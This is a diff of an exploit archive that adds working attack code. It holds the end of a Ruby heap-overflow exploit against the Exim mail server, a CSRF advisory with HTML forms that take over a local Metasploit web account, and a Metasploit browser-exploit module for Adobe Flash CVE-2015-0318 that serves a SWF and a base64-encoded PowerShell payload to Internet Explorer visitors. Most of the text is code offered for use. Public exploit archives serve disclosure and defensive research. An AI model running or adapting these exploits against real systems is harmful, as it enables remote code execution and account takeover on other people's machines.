smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
# overflow (3 bytes) gethostbyname's buffer, and
|
||||||
|
# overwrite its next_chunk's size field with 0x003?31
|
||||||
|
# ^ last_digit
|
||||||
|
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
|
||||||
|
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
|
||||||
|
|
||||||
|
# auth_xtextdecode() is the only way to overwrite the beginning of a
|
||||||
|
# current_block of memory (the "storeblock" structure) with arbitrary data
|
||||||
|
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
|
||||||
|
# this shapes the rest of our exploit: we overwrite the beginning of the
|
||||||
|
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
|
||||||
|
# memory (allocated by auth_xtextdecode()).
|
||||||
|
|
||||||
|
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
|
||||||
|
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
|
||||||
|
auth_prefix += "."
|
||||||
|
|
||||||
|
# also fill log_buffer with alpha chars
|
||||||
|
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
|
||||||
|
smtp_recv(501, 'invalid data for AUTH')
|
||||||
|
|
||||||
|
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
|
||||||
|
begin
|
||||||
|
reply = smtp_recv(ANY_CODE)
|
||||||
|
return reply if reply[:code] !~ /#{HELO_CODES}/
|
||||||
|
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
|
||||||
|
|
||||||
|
smtp_send("MAIL FROM:<>")
|
||||||
|
reply = smtp_recv(ANY_CODE)
|
||||||
|
return reply if reply[:code] != "250"
|
||||||
|
|
||||||
|
smtp_send("RCPT TO:<postmaster>")
|
||||||
|
reply = smtp_recv
|
||||||
|
return reply
|
||||||
|
|
||||||
|
rescue
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
ensure
|
||||||
|
smtp_disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
|
||||||
|
DOT = '[.]'
|
||||||
|
|
||||||
|
def smtp_connect(exploiting = true)
|
||||||
|
fail_with("smtp_connect", "sock isn't nil") if sock
|
||||||
|
|
||||||
|
connect
|
||||||
|
fail_with("smtp_connect", "sock is nil") if not sock
|
||||||
|
@smtp_state = :recv
|
||||||
|
|
||||||
|
banner = smtp_recv(220)
|
||||||
|
return if not exploiting
|
||||||
|
|
||||||
|
sender_host_address = datastore['SENDER_HOST_ADDRESS']
|
||||||
|
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
|
||||||
|
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
|
||||||
|
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
|
||||||
|
end
|
||||||
|
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
|
||||||
|
|
||||||
|
# turn helo_seen on (enable the MAIL command)
|
||||||
|
# call smtp_verify_helo() (force fopen() and small malloc()s)
|
||||||
|
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
|
||||||
|
smtp_send("HELO #{sender_host_address_octal}")
|
||||||
|
reply = smtp_recv(HELO_CODES)
|
||||||
|
|
||||||
|
if reply[:code] != "250"
|
||||||
|
fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
|
||||||
|
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
|
||||||
|
end
|
||||||
|
|
||||||
|
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
|
||||||
|
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
|
||||||
|
smtp_active_hostname = $1
|
||||||
|
sender_host_name = $2
|
||||||
|
|
||||||
|
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
|
||||||
|
sender_host_name = $2
|
||||||
|
sender_ident = $1
|
||||||
|
else
|
||||||
|
sender_ident = nil
|
||||||
|
end
|
||||||
|
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
|
||||||
|
|
||||||
|
else
|
||||||
|
# can't double-check sender_host_address here, so only for advanced users
|
||||||
|
fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
|
||||||
|
# worst-case scenario
|
||||||
|
smtp_active_hostname = "A" * NS_MAXDNAME
|
||||||
|
sender_host_name = "A" * NS_MAXDNAME
|
||||||
|
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
|
||||||
|
end
|
||||||
|
|
||||||
|
_sender = @sender
|
||||||
|
@sender = {
|
||||||
|
hostaddr: sender_host_address,
|
||||||
|
hostaddr8: sender_host_address_octal,
|
||||||
|
hostname: sender_host_name,
|
||||||
|
ident: sender_ident,
|
||||||
|
__smtp_active_hostname: smtp_active_hostname
|
||||||
|
}
|
||||||
|
fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
|
||||||
|
|
||||||
|
# avoid a future pathological case by forcing it now:
|
||||||
|
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
|
||||||
|
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
|
||||||
|
smtp_recv(501, 'sender address must contain a domain')
|
||||||
|
|
||||||
|
smtp_send("RSET")
|
||||||
|
smtp_recv(250, 'Reset OK')
|
||||||
|
end
|
||||||
|
|
||||||
|
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
|
||||||
|
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
|
||||||
|
@smtp_state = :sending
|
||||||
|
|
||||||
|
if not arg_pattern
|
||||||
|
fail_with("smtp_send", "prefix is nil") if not prefix
|
||||||
|
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
|
||||||
|
command = prefix
|
||||||
|
|
||||||
|
else
|
||||||
|
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
|
||||||
|
length = arg_length - arg_prefix.length - arg_suffix.length
|
||||||
|
fail_with("smtp_send", "len is #{length}") if length <= 0
|
||||||
|
argument = arg_prefix
|
||||||
|
case arg_pattern
|
||||||
|
when String
|
||||||
|
argument += arg_pattern * (length / arg_pattern.length)
|
||||||
|
argument += arg_pattern[0, length % arg_pattern.length]
|
||||||
|
when Method
|
||||||
|
argument += arg_pattern.call(length)
|
||||||
|
end
|
||||||
|
argument += arg_suffix
|
||||||
|
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
|
||||||
|
command = prefix + argument + suffix
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
|
||||||
|
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
|
||||||
|
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
|
||||||
|
|
||||||
|
# the following loop works around a bug in the put() method:
|
||||||
|
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
|
||||||
|
# (or send_idx and/or send_len could be removed altogether, like here)
|
||||||
|
|
||||||
|
while command and not command.empty?
|
||||||
|
num_sent = sock.put(command)
|
||||||
|
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
|
||||||
|
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
|
||||||
|
command = command[num_sent..-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
@smtp_state = :recv
|
||||||
|
end
|
||||||
|
|
||||||
|
def smtp_recv(expected_code = nil, expected_data = nil)
|
||||||
|
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
|
||||||
|
@smtp_state = :recving
|
||||||
|
|
||||||
|
failure = catch(:failure) do
|
||||||
|
|
||||||
|
# parse SMTP replies very carefully (the information
|
||||||
|
# leak injects arbitrary data into multiline replies)
|
||||||
|
|
||||||
|
data = ""
|
||||||
|
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
|
||||||
|
begin
|
||||||
|
more_data = sock.get_once
|
||||||
|
rescue
|
||||||
|
throw(:failure, "Caught #{$!.class}: #{$!.message}")
|
||||||
|
end
|
||||||
|
throw(:failure, "no more data") if more_data.nil?
|
||||||
|
throw(:failure, "no more data") if more_data.empty?
|
||||||
|
data += more_data
|
||||||
|
end
|
||||||
|
|
||||||
|
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
|
||||||
|
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
|
||||||
|
throw(:failure, "malformed reply (empty)") if lines.empty?
|
||||||
|
|
||||||
|
code = nil
|
||||||
|
lines.size.times do |i|
|
||||||
|
lines[i].sub!(/\A\r\n/mn, "")
|
||||||
|
lines[i] += "\r\n"
|
||||||
|
|
||||||
|
if i == 0
|
||||||
|
code = lines[i][0,3]
|
||||||
|
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
|
||||||
|
if expected_code and code !~ /\A(#{expected_code})\z/mn
|
||||||
|
throw(:failure, "unexpected #{code}, expected #{expected_code}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
line_begins_with = lines[i][0,4]
|
||||||
|
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
|
||||||
|
|
||||||
|
if line_begins_with != line_should_begin_with
|
||||||
|
throw(:failure, "line begins with #{line_begins_with}, " \
|
||||||
|
"should begin with #{line_should_begin_with}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
throw(:failure, "malformed reply (join)") if lines.join("") != data
|
||||||
|
if expected_data and data !~ /#{expected_data}/mn
|
||||||
|
throw(:failure, "unexpected data")
|
||||||
|
end
|
||||||
|
|
||||||
|
reply = { code: code, lines: lines }
|
||||||
|
@smtp_state = :send
|
||||||
|
return reply
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with("smtp_recv", "#{failure}") if expected_code
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def smtp_disconnect
|
||||||
|
disconnect if sock
|
||||||
|
fail_with("smtp_disconnect", "sock isn't nil") if sock
|
||||||
|
@smtp_state = :disconnected
|
||||||
|
end
|
||||||
|
end
|
92
platforms/multiple/webapps/36419.txt
Executable file
92
platforms/multiple/webapps/36419.txt
Executable file
|
@ -0,0 +1,92 @@
|
||||||
|
# Exploit Title: Metasploit Project initial User Creation CSRF
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 14-2-2015
|
||||||
|
# Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh)
|
||||||
|
# Vendor Homepage: http://www.metasploit.com/
|
||||||
|
# Software Link:
|
||||||
|
http://www.rapid7.com/products/metasploit/editions-and-features.jsp
|
||||||
|
# Version: Free/Pro < 4.11.1 (Update 2015021901)
|
||||||
|
# Tested on: All OS
|
||||||
|
# CVE : N/A
|
||||||
|
|
||||||
|
Vulnerability:
|
||||||
|
Cross Site Request Forgery - (CSRF)
|
||||||
|
|
||||||
|
Info:
|
||||||
|
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
|
||||||
|
|
||||||
|
More Details:
|
||||||
|
After doing some research, i have found that the anti csrf token
|
||||||
|
"authenticity_token" value is not validated from the local server side
|
||||||
|
which will result in a more csrf attack scenario around the whole local
|
||||||
|
metasploit project.
|
||||||
|
|
||||||
|
Affected URL(s)/PoC Code(s):
|
||||||
|
-Change Local Metasploit Project User Settings
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://127.0.0.1:3790/users/1" method="POST">
|
||||||
|
<input type="hidden" name="utf8" value="?" />
|
||||||
|
<input type="hidden" name="_method" value="put" />
|
||||||
|
<input type="hidden" name="authenticity_token" value="" />
|
||||||
|
<input type="hidden" name="user[fullname]" value="Attacker" />
|
||||||
|
<input type="hidden" name="user[email]" value="EMAIL" />
|
||||||
|
<input type="hidden" name="user[company]" value="COMPANY" />
|
||||||
|
<input type="hidden" name="user[time_zone]" value="Cairo" />
|
||||||
|
<input type="hidden" name="commit" value="Save Settings" />
|
||||||
|
<input type="submit" value="Submit form" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
-Full Local Metasploit Project Account Takeover before setting up the first
|
||||||
|
user settings
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://127.0.0.1:3790/users" method="POST">
|
||||||
|
<input type="hidden" name="utf8" value="?" />
|
||||||
|
<input type="hidden" name="authenticity_token" value="" />
|
||||||
|
<input type="hidden" name="user[username]" value="Username" />
|
||||||
|
<input type="hidden" name="user[password]" value="PASSWORD" />
|
||||||
|
<input type="hidden" name="user[password_confirmation]"
|
||||||
|
value="PASSWORD" />
|
||||||
|
<input type="hidden" name="user[fullname]" value="FUll_Name" />
|
||||||
|
<input type="hidden" name="user[email]" value="EMAIL" />
|
||||||
|
<input type="hidden" name="user[company]" value="COMPANY" />
|
||||||
|
<input type="hidden" name="user[time_zone]" value="Cairo" />
|
||||||
|
<input type="hidden" name="commit" value="Create Account" />
|
||||||
|
<input type="submit" value="Submit form" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
More Details/Impact:
|
||||||
|
-Change Local Metasploit Project User Settings
|
||||||
|
-Full Local Metasploit Project Account Takeover before setting up the first
|
||||||
|
user settings
|
||||||
|
|
||||||
|
Report Timeline:
|
||||||
|
[-] 14/02/2015: Reported to Rapid7 Security Team
|
||||||
|
[-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability
|
||||||
|
[-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and public
|
||||||
|
disclosure rules
|
||||||
|
[-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for the
|
||||||
|
vulnerability in place, Fixed in Update 4.11.1 (Update 2015021901),
|
||||||
|
https://community.rapid7.com/docs/DOC-3010
|
||||||
|
[-] 16/03/2015: Public Disclosure
|
||||||
|
|
||||||
|
Thanks
|
||||||
|
|
||||||
|
--
|
||||||
|
*Best Regards**,**,*
|
||||||
|
|
||||||
|
|
||||||
|
*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
|
||||||
|
& Bug Bounty Hunter.
|
||||||
|
LinkedIn
|
||||||
|
<https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae
|
||||||
|
<http://goo.gl/cNrVpL>
|
||||||
|
<https://www.linkedin.com/in/symbiansymoh>Facebook
|
||||||
|
<https://fb.com/symbiansymoh>Twitter
|
||||||
|
<https://twitter.com/symbiansymoh>
|
118
platforms/windows/remote/36420.rb
Executable file
118
platforms/windows/remote/36420.rb
Executable file
|
@ -0,0 +1,118 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
|
||||||
|
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
|
||||||
|
in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
|
||||||
|
a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Mark Brand', # Found vuln
|
||||||
|
'sinn3r' # MSF
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2015-0318' ],
|
||||||
|
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
|
||||||
|
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1024,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'Retries' => true
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'BrowserRequirements' =>
|
||||||
|
{
|
||||||
|
:source => /script|headers/i,
|
||||||
|
:clsid => "{#{CLASSID}}",
|
||||||
|
:method => "LoadMovie",
|
||||||
|
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||||
|
:ua_name => Msf::HttpClients::IE,
|
||||||
|
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
|
||||||
|
# So we're gonna limit to this one for now. More validation needed in the future.
|
||||||
|
:flash => lambda { |ver| ver == '16.0.0.235' }
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Nov 25 2014",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Please see data/exploits/CVE-2015-0318/ for source,
|
||||||
|
# that's where the actual exploit is
|
||||||
|
@swf = create_swf
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
print_status("Request: #{request.uri}")
|
||||||
|
|
||||||
|
if request.uri =~ /\.swf$/
|
||||||
|
print_status("Sending SWF...")
|
||||||
|
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending HTML...")
|
||||||
|
tag = retrieve_tag(cli, request)
|
||||||
|
profile = get_profile(tag)
|
||||||
|
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||||
|
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_template(cli, target_info)
|
||||||
|
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||||
|
target_payload = get_payload(cli, target_info)
|
||||||
|
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||||
|
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||||
|
|
||||||
|
html_template = %Q|<html>
|
||||||
|
<body>
|
||||||
|
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||||
|
<param name="movie" value="<%=swf_random%>" />
|
||||||
|
<param name="allowScriptAccess" value="always" />
|
||||||
|
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||||
|
<param name="Play" value="true" />
|
||||||
|
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||||
|
</object>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
return html_template, binding()
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_swf
|
||||||
|
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
|
||||||
|
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||||
|
|
||||||
|
swf
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Add table
Reference in a new issue